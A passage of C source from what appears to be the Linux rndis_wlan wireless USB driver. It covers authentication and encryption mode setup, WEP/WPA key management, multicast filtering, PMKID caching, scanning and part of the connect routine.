else if (auth_type == NL80211_AUTHTYPE_OPEN_SYSTEM)
auth_mode = NDIS_80211_AUTH_OPEN;
else if (auth_type == NL80211_AUTHTYPE_AUTOMATIC)
auth_mode = NDIS_80211_AUTH_AUTO_SWITCH;
else
return -ENOTSUPP;
tmp = cpu_to_le32(auth_mode);
ret = rndis_set_oid(usbdev, OID_802_11_AUTHENTICATION_MODE, &tmp,
sizeof(tmp));
if (ret != 0) {
netdev_warn(usbdev->net, "setting auth mode failed (%08X)\n",
ret);
return ret;
}
priv->wpa_version = wpa_version;
return 0;
}
static int set_priv_filter(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
__le32 tmp;
netdev_dbg(usbdev->net, "%s(): wpa_version=0x%x\n",
__func__, priv->wpa_version);
if (priv->wpa_version & NL80211_WPA_VERSION_2 ||
priv->wpa_version & NL80211_WPA_VERSION_1)
tmp = cpu_to_le32(NDIS_80211_PRIV_8021X_WEP);
else
tmp = cpu_to_le32(NDIS_80211_PRIV_ACCEPT_ALL);
return rndis_set_oid(usbdev, OID_802_11_PRIVACY_FILTER, &tmp,
sizeof(tmp));
}
static int set_encr_mode(struct usbnet *usbdev, int pairwise, int groupwise)
{
__le32 tmp;
int encr_mode, ret;
netdev_dbg(usbdev->net, "%s(): cipher_pair=0x%x cipher_group=0x%x\n",
__func__, pairwise, groupwise);
if (pairwise & RNDIS_WLAN_ALG_CCMP)
encr_mode = NDIS_80211_ENCR_CCMP_ENABLED;
else if (pairwise & RNDIS_WLAN_ALG_TKIP)
encr_mode = NDIS_80211_ENCR_TKIP_ENABLED;
else if (pairwise & RNDIS_WLAN_ALG_WEP)
encr_mode = NDIS_80211_ENCR_WEP_ENABLED;
else if (groupwise & RNDIS_WLAN_ALG_CCMP)
encr_mode = NDIS_80211_ENCR_CCMP_ENABLED;
else if (groupwise & RNDIS_WLAN_ALG_TKIP)
encr_mode = NDIS_80211_ENCR_TKIP_ENABLED;
else
encr_mode = NDIS_80211_ENCR_DISABLED;
tmp = cpu_to_le32(encr_mode);
ret = rndis_set_oid(usbdev, OID_802_11_ENCRYPTION_STATUS, &tmp,
sizeof(tmp));
if (ret != 0) {
netdev_warn(usbdev->net, "setting encr mode failed (%08X)\n",
ret);
return ret;
}
return 0;
}
static int set_infra_mode(struct usbnet *usbdev, int mode)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
__le32 tmp;
int ret;
netdev_dbg(usbdev->net, "%s(): infra_mode=0x%x\n",
__func__, priv->infra_mode);
tmp = cpu_to_le32(mode);
ret = rndis_set_oid(usbdev, OID_802_11_INFRASTRUCTURE_MODE, &tmp,
sizeof(tmp));
if (ret != 0) {
netdev_warn(usbdev->net, "setting infra mode failed (%08X)\n",
ret);
return ret;
}
/* NDIS drivers clear keys when infrastructure mode is
* changed. But Linux tools assume otherwise. So set the
* keys */
restore_keys(usbdev);
priv->infra_mode = mode;
return 0;
}
static int set_rts_threshold(struct usbnet *usbdev, u32 rts_threshold)
{
__le32 tmp;
netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold);
if (rts_threshold < 0 || rts_threshold > 2347)
rts_threshold = 2347;
tmp = cpu_to_le32(rts_threshold);
return rndis_set_oid(usbdev, OID_802_11_RTS_THRESHOLD, &tmp,
sizeof(tmp));
}
static int set_frag_threshold(struct usbnet *usbdev, u32 frag_threshold)
{
__le32 tmp;
netdev_dbg(usbdev->net, "%s(): %i\n", __func__, frag_threshold);
if (frag_threshold < 256 || frag_threshold > 2346)
frag_threshold = 2346;
tmp = cpu_to_le32(frag_threshold);
return rndis_set_oid(usbdev, OID_802_11_FRAGMENTATION_THRESHOLD, &tmp,
sizeof(tmp));
}
static void set_default_iw_params(struct usbnet *usbdev)
{
set_infra_mode(usbdev, NDIS_80211_INFRA_INFRA);
set_auth_mode(usbdev, 0, NL80211_AUTHTYPE_OPEN_SYSTEM,
RNDIS_WLAN_KEY_MGMT_NONE);
set_priv_filter(usbdev);
set_encr_mode(usbdev, RNDIS_WLAN_ALG_NONE, RNDIS_WLAN_ALG_NONE);
}
static int deauthenticate(struct usbnet *usbdev)
{
int ret;
ret = disassociate(usbdev, true);
set_default_iw_params(usbdev);
return ret;
}
static int set_channel(struct usbnet *usbdev, int channel)
{
struct ndis_80211_conf config;
unsigned int dsconfig;
int len, ret;
netdev_dbg(usbdev->net, "%s(%d)\n", __func__, channel);
/* this OID is valid only when not associated */
if (is_associated(usbdev))
return 0;
dsconfig = ieee80211_dsss_chan_to_freq(channel) * 1000;
len = sizeof(config);
ret = rndis_query_oid(usbdev, OID_802_11_CONFIGURATION, &config, &len);
if (ret < 0) {
netdev_dbg(usbdev->net, "%s(): querying configuration failed\n",
__func__);
return ret;
}
config.ds_config = cpu_to_le32(dsconfig);
ret = rndis_set_oid(usbdev, OID_802_11_CONFIGURATION, &config,
sizeof(config));
netdev_dbg(usbdev->net, "%s(): %d -> %d\n", __func__, channel, ret);
return ret;
}
/* index must be 0 - N, as per NDIS */
static int add_wep_key(struct usbnet *usbdev, const u8 *key, int key_len,
int index)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_wep_key ndis_key;
u32 cipher;
int ret;
netdev_dbg(usbdev->net, "%s(idx: %d, len: %d)\n",
__func__, index, key_len);
if ((key_len != 5 && key_len != 13) || index < 0 || index > 3)
return -EINVAL;
if (key_len == 5)
cipher = WLAN_CIPHER_SUITE_WEP40;
else
cipher = WLAN_CIPHER_SUITE_WEP104;
memset(&ndis_key, 0, sizeof(ndis_key));
ndis_key.size = cpu_to_le32(sizeof(ndis_key));
ndis_key.length = cpu_to_le32(key_len);
ndis_key.index = cpu_to_le32(index);
memcpy(&ndis_key.material, key, key_len);
if (index == priv->encr_tx_key_index) {
ndis_key.index |= NDIS_80211_ADDWEP_TRANSMIT_KEY;
ret = set_encr_mode(usbdev, RNDIS_WLAN_ALG_WEP,
RNDIS_WLAN_ALG_NONE);
if (ret)
netdev_warn(usbdev->net, "encryption couldn't be enabled (%08X)\n",
ret);
}
ret = rndis_set_oid(usbdev, OID_802_11_ADD_WEP, &ndis_key,
sizeof(ndis_key));
if (ret != 0) {
netdev_warn(usbdev->net, "adding encryption key %d failed (%08X)\n",
index + 1, ret);
return ret;
}
priv->encr_keys[index].len = key_len;
priv->encr_keys[index].cipher = cipher;
memcpy(&priv->encr_keys[index].material, key, key_len);
memset(&priv->encr_keys[index].bssid, 0xff, ETH_ALEN);
return 0;
}
static int add_wpa_key(struct usbnet *usbdev, const u8 *key, int key_len,
int index, const u8 *addr, const u8 *rx_seq,
int seq_len, u32 cipher, __le32 flags)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_key ndis_key;
bool is_addr_ok;
int ret;
if (index < 0 || index >= 4) {
netdev_dbg(usbdev->net, "%s(): index out of range (%i)\n",
__func__, index);
return -EINVAL;
}
if (key_len > sizeof(ndis_key.material) || key_len < 0) {
netdev_dbg(usbdev->net, "%s(): key length out of range (%i)\n",
__func__, key_len);
return -EINVAL;
}
if (flags & NDIS_80211_ADDKEY_SET_INIT_RECV_SEQ) {
if (!rx_seq || seq_len <= 0) {
netdev_dbg(usbdev->net, "%s(): recv seq flag without buffer\n",
__func__);
return -EINVAL;
}
if (rx_seq && seq_len > sizeof(ndis_key.rsc)) {
netdev_dbg(usbdev->net, "%s(): too big recv seq buffer\n", __func__);
return -EINVAL;
}
}
is_addr_ok = addr && !is_zero_ether_addr(addr) &&
!is_broadcast_ether_addr(addr);
if ((flags & NDIS_80211_ADDKEY_PAIRWISE_KEY) && !is_addr_ok) {
netdev_dbg(usbdev->net, "%s(): pairwise but bssid invalid (%pM)\n",
__func__, addr);
return -EINVAL;
}
netdev_dbg(usbdev->net, "%s(%i): flags:%i%i%i\n",
__func__, index,
!!(flags & NDIS_80211_ADDKEY_TRANSMIT_KEY),
!!(flags & NDIS_80211_ADDKEY_PAIRWISE_KEY),
!!(flags & NDIS_80211_ADDKEY_SET_INIT_RECV_SEQ));
memset(&ndis_key, 0, sizeof(ndis_key));
ndis_key.size = cpu_to_le32(sizeof(ndis_key) -
sizeof(ndis_key.material) + key_len);
ndis_key.length = cpu_to_le32(key_len);
ndis_key.index = cpu_to_le32(index) | flags;
if (cipher == WLAN_CIPHER_SUITE_TKIP && key_len == 32) {
/* wpa_supplicant gives us the Michael MIC RX/TX keys in
* different order than NDIS spec, so swap the order here. */
memcpy(ndis_key.material, key, 16);
memcpy(ndis_key.material + 16, key + 24, 8);
memcpy(ndis_key.material + 24, key + 16, 8);
} else
memcpy(ndis_key.material, key, key_len);
if (flags & NDIS_80211_ADDKEY_SET_INIT_RECV_SEQ)
memcpy(ndis_key.rsc, rx_seq, seq_len);
if (flags & NDIS_80211_ADDKEY_PAIRWISE_KEY) {
/* pairwise key */
memcpy(ndis_key.bssid, addr, ETH_ALEN);
} else {
/* group key */
if (priv->infra_mode == NDIS_80211_INFRA_ADHOC)
memset(ndis_key.bssid, 0xff, ETH_ALEN);
else
get_bssid(usbdev, ndis_key.bssid);
}
ret = rndis_set_oid(usbdev, OID_802_11_ADD_KEY, &ndis_key,
le32_to_cpu(ndis_key.size));
netdev_dbg(usbdev->net, "%s(): OID_802_11_ADD_KEY -> %08X\n",
__func__, ret);
if (ret != 0)
return ret;
memset(&priv->encr_keys[index], 0, sizeof(priv->encr_keys[index]));
priv->encr_keys[index].len = key_len;
priv->encr_keys[index].cipher = cipher;
memcpy(&priv->encr_keys[index].material, key, key_len);
if (flags & NDIS_80211_ADDKEY_PAIRWISE_KEY)
memcpy(&priv->encr_keys[index].bssid, ndis_key.bssid, ETH_ALEN);
else
memset(&priv->encr_keys[index].bssid, 0xff, ETH_ALEN);
if (flags & NDIS_80211_ADDKEY_TRANSMIT_KEY)
priv->encr_tx_key_index = index;
return 0;
}
static int restore_key(struct usbnet *usbdev, int key_idx)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct rndis_wlan_encr_key key;
if (is_wpa_key(priv, key_idx))
return 0;
key = priv->encr_keys[key_idx];
netdev_dbg(usbdev->net, "%s(): %i:%i\n", __func__, key_idx, key.len);
if (key.len == 0)
return 0;
return add_wep_key(usbdev, key.material, key.len, key_idx);
}
static void restore_keys(struct usbnet *usbdev)
{
int i;
for (i = 0; i < 4; i++)
restore_key(usbdev, i);
}
static void clear_key(struct rndis_wlan_private *priv, int idx)
{
memset(&priv->encr_keys[idx], 0, sizeof(priv->encr_keys[idx]));
}
/* remove_key is for both wep and wpa */
static int remove_key(struct usbnet *usbdev, int index, const u8 *bssid)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_remove_key remove_key;
__le32 keyindex;
bool is_wpa;
int ret;
if (index >= RNDIS_WLAN_NUM_KEYS)
return -ENOENT;
if (priv->encr_keys[index].len == 0)
return 0;
is_wpa = is_wpa_key(priv, index);
netdev_dbg(usbdev->net, "%s(): %i:%s:%i\n",
__func__, index, is_wpa ? "wpa" : "wep",
priv->encr_keys[index].len);
clear_key(priv, index);
if (is_wpa) {
remove_key.size = cpu_to_le32(sizeof(remove_key));
remove_key.index = cpu_to_le32(index);
if (bssid) {
/* pairwise key */
if (!is_broadcast_ether_addr(bssid))
remove_key.index |=
NDIS_80211_ADDKEY_PAIRWISE_KEY;
memcpy(remove_key.bssid, bssid,
sizeof(remove_key.bssid));
} else
memset(remove_key.bssid, 0xff,
sizeof(remove_key.bssid));
ret = rndis_set_oid(usbdev, OID_802_11_REMOVE_KEY, &remove_key,
sizeof(remove_key));
if (ret != 0)
return ret;
} else {
keyindex = cpu_to_le32(index);
ret = rndis_set_oid(usbdev, OID_802_11_REMOVE_WEP, &keyindex,
sizeof(keyindex));
if (ret != 0) {
netdev_warn(usbdev->net,
"removing encryption key %d failed (%08X)\n",
index, ret);
return ret;
}
}
/* if it is transmit key, disable encryption */
if (index == priv->encr_tx_key_index)
set_encr_mode(usbdev, RNDIS_WLAN_ALG_NONE, RNDIS_WLAN_ALG_NONE);
return 0;
}
static void set_multicast_list(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct netdev_hw_addr *ha;
__le32 filter, basefilter;
int ret;
char *mc_addrs = NULL;
int mc_count;
basefilter = filter = RNDIS_PACKET_TYPE_DIRECTED |
RNDIS_PACKET_TYPE_BROADCAST;
if (usbdev->net->flags & IFF_PROMISC) {
filter |= RNDIS_PACKET_TYPE_PROMISCUOUS |
RNDIS_PACKET_TYPE_ALL_LOCAL;
} else if (usbdev->net->flags & IFF_ALLMULTI) {
filter |= RNDIS_PACKET_TYPE_ALL_MULTICAST;
}
if (filter != basefilter)
goto set_filter;
/*
* mc_list should be accessed holding the lock, so copy addresses to
* local buffer first.
*/
netif_addr_lock_bh(usbdev->net);
mc_count = netdev_mc_count(usbdev->net);
if (mc_count > priv->multicast_size) {
filter |= RNDIS_PACKET_TYPE_ALL_MULTICAST;
} else if (mc_count) {
int i = 0;
mc_addrs = kmalloc(mc_count * ETH_ALEN, GFP_ATOMIC);
if (!mc_addrs) {
netdev_warn(usbdev->net,
"couldn't alloc %d bytes of memory\n",
mc_count * ETH_ALEN);
netif_addr_unlock_bh(usbdev->net);
return;
}
netdev_for_each_mc_addr(ha, usbdev->net)
memcpy(mc_addrs + i++ * ETH_ALEN,
#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,35))
ha->addr, ETH_ALEN);
#else
ha->dmi_addr, ETH_ALEN);
#endif
}
netif_addr_unlock_bh(usbdev->net);
if (filter != basefilter)
goto set_filter;
if (mc_count) {
ret = rndis_set_oid(usbdev, OID_802_3_MULTICAST_LIST, mc_addrs,
mc_count * ETH_ALEN);
kfree(mc_addrs);
if (ret == 0)
filter |= RNDIS_PACKET_TYPE_MULTICAST;
else
filter |= RNDIS_PACKET_TYPE_ALL_MULTICAST;
netdev_dbg(usbdev->net, "OID_802_3_MULTICAST_LIST(%d, max: %d) -> %d\n",
mc_count, priv->multicast_size, ret);
}
set_filter:
ret = rndis_set_oid(usbdev, OID_GEN_CURRENT_PACKET_FILTER, &filter,
sizeof(filter));
if (ret < 0) {
netdev_warn(usbdev->net, "couldn't set packet filter: %08x\n",
le32_to_cpu(filter));
}
netdev_dbg(usbdev->net, "OID_GEN_CURRENT_PACKET_FILTER(%08x) -> %d\n",
le32_to_cpu(filter), ret);
}
#ifdef DEBUG
static void debug_print_pmkids(struct usbnet *usbdev,
struct ndis_80211_pmkid *pmkids,
const char *func_str)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
int i, len, count, max_pmkids, entry_len;
max_pmkids = priv->wdev.wiphy->max_num_pmkids;
len = le32_to_cpu(pmkids->length);
count = le32_to_cpu(pmkids->bssid_info_count);
entry_len = (count > 0) ? (len - sizeof(*pmkids)) / count : -1;
netdev_dbg(usbdev->net, "%s(): %d PMKIDs (data len: %d, entry len: "
"%d)\n", func_str, count, len, entry_len);
if (count > max_pmkids)
count = max_pmkids;
for (i = 0; i < count; i++) {
u32 *tmp = (u32 *)pmkids->bssid_info[i].pmkid;
netdev_dbg(usbdev->net, "%s(): bssid: %pM, "
"pmkid: %08X:%08X:%08X:%08X\n",
func_str, pmkids->bssid_info[i].bssid,
cpu_to_be32(tmp[0]), cpu_to_be32(tmp[1]),
cpu_to_be32(tmp[2]), cpu_to_be32(tmp[3]));
}
}
#else
static void debug_print_pmkids(struct usbnet *usbdev,
struct ndis_80211_pmkid *pmkids,
const char *func_str)
{
return;
}
#endif
static struct ndis_80211_pmkid *get_device_pmkids(struct usbnet *usbdev)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ndis_80211_pmkid *pmkids;
int len, ret, max_pmkids;
max_pmkids = priv->wdev.wiphy->max_num_pmkids;
len = sizeof(*pmkids) + max_pmkids * sizeof(pmkids->bssid_info[0]);
pmkids = kzalloc(len, GFP_KERNEL);
if (!pmkids)
return ERR_PTR(-ENOMEM);
pmkids->length = cpu_to_le32(len);
pmkids->bssid_info_count = cpu_to_le32(max_pmkids);
ret = rndis_query_oid(usbdev, OID_802_11_PMKID, pmkids, &len);
if (ret < 0) {
netdev_dbg(usbdev->net, "%s(): OID_802_11_PMKID(%d, %d)"
" -> %d\n", __func__, len, max_pmkids, ret);
kfree(pmkids);
return ERR_PTR(ret);
}
if (le32_to_cpu(pmkids->bssid_info_count) > max_pmkids)
pmkids->bssid_info_count = cpu_to_le32(max_pmkids);
debug_print_pmkids(usbdev, pmkids, __func__);
return pmkids;
}
static int set_device_pmkids(struct usbnet *usbdev,
struct ndis_80211_pmkid *pmkids)
{
int ret, len, num_pmkids;
num_pmkids = le32_to_cpu(pmkids->bssid_info_count);
len = sizeof(*pmkids) + num_pmkids * sizeof(pmkids->bssid_info[0]);
pmkids->length = cpu_to_le32(len);
debug_print_pmkids(usbdev, pmkids, __func__);
ret = rndis_set_oid(usbdev, OID_802_11_PMKID, pmkids,
le32_to_cpu(pmkids->length));
if (ret < 0) {
netdev_dbg(usbdev->net, "%s(): OID_802_11_PMKID(%d, %d) -> %d"
"\n", __func__, len, num_pmkids, ret);
}
kfree(pmkids);
return ret;
}
static struct ndis_80211_pmkid *remove_pmkid(struct usbnet *usbdev,
struct ndis_80211_pmkid *pmkids,
struct cfg80211_pmksa *pmksa,
int max_pmkids)
{
int i, len, count, newlen, err;
len = le32_to_cpu(pmkids->length);
count = le32_to_cpu(pmkids->bssid_info_count);
if (count > max_pmkids)
count = max_pmkids;
for (i = 0; i < count; i++)
if (!compare_ether_addr(pmkids->bssid_info[i].bssid,
pmksa->bssid))
break;
/* pmkid not found */
if (i == count) {
netdev_dbg(usbdev->net, "%s(): bssid not found (%pM)\n",
__func__, pmksa->bssid);
err = -ENOENT;
goto error;
}
for (; i + 1 < count; i++)
pmkids->bssid_info[i] = pmkids->bssid_info[i + 1];
count--;
newlen = sizeof(*pmkids) + count * sizeof(pmkids->bssid_info[0]);
pmkids->length = cpu_to_le32(newlen);
pmkids->bssid_info_count = cpu_to_le32(count);
return pmkids;
error:
kfree(pmkids);
return ERR_PTR(err);
}
static struct ndis_80211_pmkid *update_pmkid(struct usbnet *usbdev,
struct ndis_80211_pmkid *pmkids,
struct cfg80211_pmksa *pmksa,
int max_pmkids)
{
int i, err, len, count, newlen;
len = le32_to_cpu(pmkids->length);
count = le32_to_cpu(pmkids->bssid_info_count);
if (count > max_pmkids)
count = max_pmkids;
/* update with new pmkid */
for (i = 0; i < count; i++) {
if (compare_ether_addr(pmkids->bssid_info[i].bssid,
pmksa->bssid))
continue;
memcpy(pmkids->bssid_info[i].pmkid, pmksa->pmkid,
WLAN_PMKID_LEN);
return pmkids;
}
/* out of space, return error */
if (i == max_pmkids) {
netdev_dbg(usbdev->net, "%s(): out of space\n", __func__);
err = -ENOSPC;
goto error;
}
/* add new pmkid */
newlen = sizeof(*pmkids) + (count + 1) * sizeof(pmkids->bssid_info[0]);
pmkids = krealloc(pmkids, newlen, GFP_KERNEL);
if (!pmkids) {
err = -ENOMEM;
goto error;
}
pmkids->length = cpu_to_le32(newlen);
pmkids->bssid_info_count = cpu_to_le32(count + 1);
memcpy(pmkids->bssid_info[count].bssid, pmksa->bssid, ETH_ALEN);
memcpy(pmkids->bssid_info[count].pmkid, pmksa->pmkid, WLAN_PMKID_LEN);
return pmkids;
error:
kfree(pmkids);
return ERR_PTR(err);
}
/*
* cfg80211 ops
*/
static int rndis_change_virtual_intf(struct wiphy *wiphy,
struct net_device *dev,
enum nl80211_iftype type, u32 *flags,
struct vif_params *params)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
int mode;
switch (type) {
case NL80211_IFTYPE_ADHOC:
mode = NDIS_80211_INFRA_ADHOC;
break;
case NL80211_IFTYPE_STATION:
mode = NDIS_80211_INFRA_INFRA;
break;
default:
return -EINVAL;
}
priv->wdev.iftype = type;
return set_infra_mode(usbdev, mode);
}
static int rndis_set_wiphy_params(struct wiphy *wiphy, u32 changed)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
int err;
if (changed & WIPHY_PARAM_FRAG_THRESHOLD) {
err = set_frag_threshold(usbdev, wiphy->frag_threshold);
if (err < 0)
return err;
}
if (changed & WIPHY_PARAM_RTS_THRESHOLD) {
err = set_rts_threshold(usbdev, wiphy->rts_threshold);
if (err < 0)
return err;
}
return 0;
}
static int rndis_set_tx_power(struct wiphy *wiphy,
enum nl80211_tx_power_setting type,
int mbm)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
netdev_dbg(usbdev->net, "%s(): type:0x%x mbm:%i\n",
__func__, type, mbm);
if (mbm < 0 || (mbm % 100))
return -ENOTSUPP;
/* Device doesn't support changing txpower after initialization, only
* turn off/on radio. Support 'auto' mode and setting same dBm that is
* currently used.
*/
if (type == NL80211_TX_POWER_AUTOMATIC ||
MBM_TO_DBM(mbm) == get_bcm4320_power_dbm(priv)) {
if (!priv->radio_on)
disassociate(usbdev, true); /* turn on radio */
return 0;
}
return -ENOTSUPP;
}
static int rndis_get_tx_power(struct wiphy *wiphy, int *dbm)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
*dbm = get_bcm4320_power_dbm(priv);
netdev_dbg(usbdev->net, "%s(): dbm:%i\n", __func__, *dbm);
return 0;
}
#define SCAN_DELAY_JIFFIES (6 * HZ)
static int rndis_scan(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_scan_request *request)
{
struct usbnet *usbdev = netdev_priv(dev);
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
int ret;
int delay = SCAN_DELAY_JIFFIES;
netdev_dbg(usbdev->net, "cfg80211.scan\n");
/* Get current bssid list from device before new scan, as new scan
* clears internal bssid list.
*/
rndis_check_bssid_list(usbdev, NULL, NULL);
if (!request)
return -EINVAL;
if (priv->scan_request && priv->scan_request != request)
return -EBUSY;
priv->scan_request = request;
ret = rndis_start_bssid_list_scan(usbdev);
if (ret == 0) {
if (priv->device_type == RNDIS_BCM4320A)
delay = HZ;
/* Wait before retrieving scan results from device */
queue_delayed_work(priv->workqueue, &priv->scan_work, delay);
}
return ret;
}
static bool rndis_bss_info_update(struct usbnet *usbdev,
struct ndis_80211_bssid_ex *bssid)
{
struct rndis_wlan_private *priv = get_rndis_wlan_priv(usbdev);
struct ieee80211_channel *channel;
struct cfg80211_bss *bss;
s32 signal;
u64 timestamp;
u16 capability;
u16 beacon_interval;
struct ndis_80211_fixed_ies *fixed;
int ie_len, bssid_len;
u8 *ie;
netdev_dbg(usbdev->net, " found bssid: '%.32s' [%pM], len: %d\n",
bssid->ssid.essid, bssid->mac, le32_to_cpu(bssid->length));
/* parse bssid structure */
bssid_len = le32_to_cpu(bssid->length);
if (bssid_len < sizeof(struct ndis_80211_bssid_ex) +
sizeof(struct ndis_80211_fixed_ies))
return NULL;
fixed = (struct ndis_80211_fixed_ies *)bssid->ies;
ie = (void *)(bssid->ies + sizeof(struct ndis_80211_fixed_ies));
ie_len = min(bssid_len - (int)sizeof(*bssid),
(int)le32_to_cpu(bssid->ie_length));
ie_len -= sizeof(struct ndis_80211_fixed_ies);
if (ie_len < 0)
return NULL;
/* extract data for cfg80211_inform_bss */
channel = ieee80211_get_channel(priv->wdev.wiphy,
KHZ_TO_MHZ(le32_to_cpu(bssid->config.ds_config)));
if (!channel)
return NULL;
signal = level_to_qual(le32_to_cpu(bssid->rssi));
timestamp = le64_to_cpu(*(__le64 *)fixed->timestamp);
capability = le16_to_cpu(fixed->capabilities);
beacon_interval = le16_to_cpu(fixed->beacon_interval);
bss = cfg80211_inform_bss(priv->wdev.wiphy, channel, bssid->mac,
timestamp, capability, beacon_interval, ie, ie_len, signal,
GFP_KERNEL);
cfg80211_put_bss(bss);
return (bss != NULL);
}
static struct ndis_80211_bssid_ex *next_bssid_list_item(
struct ndis_80211_bssid_ex *bssid,
int *bssid_len, void *buf, int len)
{
void *buf_end, *bssid_end;
buf_end = (char *)buf + len;
bssid_end = (char *)bssid + *bssid_len;
if ((int)(buf_end - bssid_end) < sizeof(bssid->length)) {
*bssid_len = 0;
return NULL;
} else {
bssid = (void *)((char *)bssid + *bssid_len);
*bssid_len = le32_to_cpu(bssid->length);
return bssid;
}
}
static bool check_bssid_list_item(struct ndis_80211_bssid_ex *bssid,
int bssid_len, void *buf, int len)
{
void *buf_end, *bssid_end;
if (!bssid || bssid_len <= 0 || bssid_len > len)
return false;
buf_end = (char *)buf + len;
bssid_end = (char *)bssid + bssid_len;
return (int)(buf_end - bssid_end) >= 0 && (int)(bssid_end - buf) >= 0;
}
static int rndis_check_bssid_list(struct usbnet *usbdev, u8 *match_bssid,
bool *matched)
{
void *buf = NULL;
struct ndis_80211_bssid_list_ex *bssid_list;
struct ndis_80211_bssid_ex *bssid;
int ret = -EINVAL, len, count, bssid_len, real_count, new_len;
netdev_dbg(usbdev->net, "%s()\n", __func__);
len = CONTROL_BUFFER_SIZE;
resize_buf:
buf = kzalloc(len, GFP_KERNEL);
if (!buf) {
ret = -ENOMEM;
goto out;
}
/* BSSID-list might have got bigger last time we checked, keep
* resizing until it won't get any bigger.
*/
new_len = len;
ret = rndis_query_oid(usbdev, OID_802_11_BSSID_LIST, buf, &new_len);
if (ret != 0 || new_len < sizeof(struct ndis_80211_bssid_list_ex))
goto out;
if (new_len > len) {
len = new_len;
kfree(buf);
goto resize_buf;
}
len = new_len;
bssid_list = buf;
count = le32_to_cpu(bssid_list->num_items);
real_count = 0;
netdev_dbg(usbdev->net, "%s(): buflen: %d\n", __func__, len);
bssid_len = 0;
bssid = next_bssid_list_item(bssid_list->bssid, &bssid_len, buf, len);
/* Device returns incorrect 'num_items'. Workaround by ignoring the
* received 'num_items' and walking through full bssid buffer instead.
*/
while (check_bssid_list_item(bssid, bssid_len, buf, len)) {
if (rndis_bss_info_update(usbdev, bssid) && match_bssid &&
matched) {
if (compare_ether_addr(bssid->mac, match_bssid))
*matched = true;
}
real_count++;
bssid = next_bssid_list_item(bssid, &bssid_len, buf, len);
}
netdev_dbg(usbdev->net, "%s(): num_items from device: %d, really found:"
" %d\n", __func__, count, real_count);
out:
kfree(buf);
return ret;
}
static void rndis_get_scan_results(struct work_struct *work)
{
struct rndis_wlan_private *priv =
container_of(work, struct rndis_wlan_private, scan_work.work);
struct usbnet *usbdev = priv->usbdev;
int ret;
netdev_dbg(usbdev->net, "get_scan_results\n");
if (!priv->scan_request)
return;
ret = rndis_check_bssid_list(usbdev, NULL, NULL);
cfg80211_scan_done(priv->scan_request, ret < 0);
priv->scan_request = NULL;
}
static int rndis_connect(struct wiphy *wiphy, struct net_device *dev,
struct cfg80211_connect_params *sme)
{
struct rndis_wlan_private *priv = wiphy_priv(wiphy);
struct usbnet *usbdev = priv->usbdev;
struct ieee80211_channel *channel = sme->channel;
struct ndis_80211_ssid ssid;
int pairwise = RNDIS_WLAN_ALG_NONE;
int groupwise = RNDIS_WLAN_ALG_NONE;
int keymgmt = RNDIS_WLAN_KEY_MGMT_NONE;
int length, i, ret, chan = -1;
if (channel)
chan = ieee80211_frequency_to_channel(channel->center_freq);
groupwise = rndis_cipher_to_alg(sme->crypto.cipher_group);
for (i = 0; i < sme->crypto.n_ciphers_pairwise; i++)
pairwise |=
rndis_cipher_to_alg(sme->crypto.ciphers_pairwise[i]);
if (sme->crypto.n_ciphers_pairwise > 0 &&
pairwise == RNDIS_WLAN_ALG_NONE) {
netdev_err(usbdev->net, "Unsupported pairwise cipher\n");
return -ENOTSUPP;
}
for (i = 0; i < sme->crypto.n_akm_suites; i++)
keymgmt |=
rndis_akm_suite_to_key_mgmt(sme->crypto.akm_suites[i]);
if (sme->crypto.n_akm_suites > 0 &&
keymgmt == RNDIS_WLAN_KEY_MGMT_NONE) {
netdev_err(usbdev->net, "Invalid keymgmt\n");
return -ENOTSUPP;
}
netdev_dbg(usbdev->net, "cfg80211.connect('%.32s':[%pM]:%d:[%d,0x%x:0x%x]:[0x%x:0x%x]:0x%x)\n",
sme->ssid, sme->bssid, chan,
sme->privacy, sme->crypto.wpa_versions, sme->auth_type,
groupwise, pairwise, keymgmt);
if (is_associated(usbdev))
disassociate(usbdev, false);
ret = set_infra_mode(usbdev, NDIS_80211_INFRA_INFRA);
if (ret < 0) {
netdev_dbg(usbdev->net, "connect: set_infra_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
ret = set_auth_mode(usbdev, sme->crypto.wpa_versions, sme->auth_type,
keymgmt);
if (ret < 0) {
netdev_dbg(usbdev->net, "connect: set_auth_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
set_priv_filter(usbdev);
ret = set_encr_mode(usbdev, pairwise, groupwise);
if (ret < 0) {
netdev_dbg(usbdev->net, "connect: set_encr_mode failed, %d\n",
ret);
goto err_turn_radio_on;
}
if (channel) {
ret = set_channel(usbdev, chan);
if (ret < 0) {
netdev_dbg(usbdev->net, "connect: set_channel failed, %d\n",
ret);
goto err_turn_radio_on;
}
}
if (sme->key && ((groupwise | pairwise) & RNDIS_WLAN_ALG_WEP)) {
priv->encr_tx_key_index = sme->key_idx;
ret = add_wep_key(usbdev, sme->key, sme->key_len, sme->key_idx);
if (ret < 0) {
netdev_dbg(usbdev->net, "connect: add_wep_key failed, %d (%d, %d)\n",
ret, sme->key_len, sme->key_idx);
goto err_turn_radio_on;
}
}
if (sme->bssid && !is_zero_ether_addr(sme->bssid) &&
!is_broadcast_ether_addr(sme->bssid)) {
ret = set_bssid(usbdev, sme->bssid);
if (ret < 0) {
